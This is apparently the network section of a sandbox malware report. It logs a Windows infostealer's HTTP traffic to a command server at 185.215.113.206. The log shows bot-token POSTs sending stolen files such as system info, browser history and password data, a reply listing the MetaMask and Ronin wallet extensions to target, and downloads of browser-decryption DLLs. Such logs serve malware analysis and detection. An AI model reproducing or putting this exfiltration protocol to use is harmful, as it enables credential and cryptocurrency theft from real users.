Dec 9, 2024 20:27:06.811330080 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="message"fplugins------HCBFIJJECFIEBGDGCFIJ--
Dec 9, 2024 20:27:07.314501047 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 9, 2024 20:27:07.336683989 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJE Host: 185.215.113.206 Content-Length: 8359 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:27:07.336724997 CET	8359	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 Data Ascii: ------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 9, 2024 20:27:08.415451050 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:27:08.854885101 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 20:27:09.292248011 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 9, 2024 20:27:09.292273045 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 9, 2024 20:27:09.296365976 CET	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	185.215.113.206	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:27:23.786179066 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJK Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:27:23.786206961 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Dec 9, 2024 20:27:25.629751921 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:27:25.747340918 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="file"------ECAFHDBGHJKFIDHJJJEB--
Dec 9, 2024 20:27:26.709132910 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:27:27.831604958 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="file"------ECBKKKFHCFIDHIECGCAF--
Dec 9, 2024 20:27:28.765755892 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:27:29.276665926 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 20:27:29.718169928 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 9, 2024 20:27:29.718193054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 9, 2024 20:27:29.718204021 CET	248	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 9, 2024 20:27:29.718291998 CET	1236	IN	Data Raw: 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 00 00 89 c3 88 44 24 07 8b 44 24 40 89 cf 89 4c 24 14 0f b6 c9 c1 e1 18 Data Ascii: 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$
Dec 9, 2024 20:27:29.718415976 CET	1236	IN	Data Raw: 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 c1 f8 1f f7 d0 8b 5d 1c 80 7c 33 f5 01 19 ff 09 c7 b8 03 00 00 00 29 c8 Data Ascii: EE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -
Dec 9, 2024 20:27:29.718429089 CET	1236	IN	Data Raw: 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 c7 47 08 01 Data Ascii: EGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF
Dec 9, 2024 20:27:29.718560934 CET	1236	IN	Data Raw: 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 00 e8 9f f7 07 00 83 c4 04 31 ff 85 c0 0f 84 fc 00 00 00 89 c6 8b 45 0c Data Ascii: 1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuWT
Dec 9, 2024 20:27:29.726813078 CET	1236	IN	Data Raw: 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 39 d1 0f 86 c9 01 00 00 29 d1 0f 84 de 01 00 00 89 5d dc 89 7d e4 89 c8 Data Ascii: E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof
Dec 9, 2024 20:27:29.727015972 CET	620	IN	Data Raw: 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d ec 01 c7 8b 55 e4 01 c2 89 c6 89 d0 01 f3 89 ca 83 7d d8 00 0f 84 03 02 Data Ascii: ]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MM
Dec 9, 2024 20:27:29.733165979 CET	1236	IN	Data Raw: ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 Data Ascii: EE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQI
Dec 9, 2024 20:27:31.240221977 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 20:27:31.681785107 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 9, 2024 20:27:32.586359978 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 20:27:33.028248072 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 9, 2024 20:27:33.766076088 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 20:27:34.207484007 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 9, 2024 20:27:37.313121080 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 20:27:37.754791021 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 